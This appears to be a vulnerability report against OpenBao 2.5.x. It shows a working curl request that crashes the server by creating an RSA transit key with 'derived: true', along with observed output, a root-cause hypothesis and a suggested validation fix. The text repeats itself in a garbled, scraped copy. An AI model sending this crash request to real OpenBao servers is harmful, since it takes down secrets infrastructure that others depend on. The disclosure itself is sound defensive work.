On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to transit/keys/* can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric type (rsa-*, ecdsa-*, ed25519)
with derived: true. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.
Mount the transit engine:
`curl -sS -X POST -H "X-Vault-Token: root" \
-d '{"type":"transit"}' \
http://127.0.0.1:8200/v1/sys/mounts/transit`
Trigger the crash:
`curl -sS -w '\nHTTP %{http_code}\n' -X POST \
-H "X-Vault-Token: root" \
-H "Content-Type: application/json" \
-d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \
http://127.0.0.1:8200/v1/transit/keys/some-key-name`
You can try with both JSON or HCL It will crash the entire cluster.
Observed:
HTTP 000
curl: (52) Empty reply from server
$ docker ps -a --filter name=openbao
STATUS: Exited (2)
Root Cause (Hypothesis)
Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When derived: true is supplied alongside an asymmetric type, the creation path likely panics on a missing derived-key field or
invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit policy.go / key-creation path.
Suggested fix:
Validate the (type, derived) combination at the top of the create-key handler. Reject with a 400 if derived: true is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305,
xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.
References
SahilKumar000 Reporter
On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to
transit/keys/*can crash the OpenBao server by issuing a single key-creation request that combines an asymmetrictype(rsa-*,ecdsa-*,ed25519)with
derived: true. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.Mount the transit engine:
Trigger the crash:
You can try with both JSON or HCL It will crash the entire cluster.
Observed:
HTTP 000
curl: (52) Empty reply from server
Root Cause (Hypothesis)
Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When
derived: trueis supplied alongside an asymmetrictype, the creation path likely panics on a missing derived-key field orinvalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit
policy.go/ key-creation path.Suggested fix:
Validate the (
type,derived) combination at the top of the create-key handler. Reject with a 400 ifderived: trueis set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305,xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.
References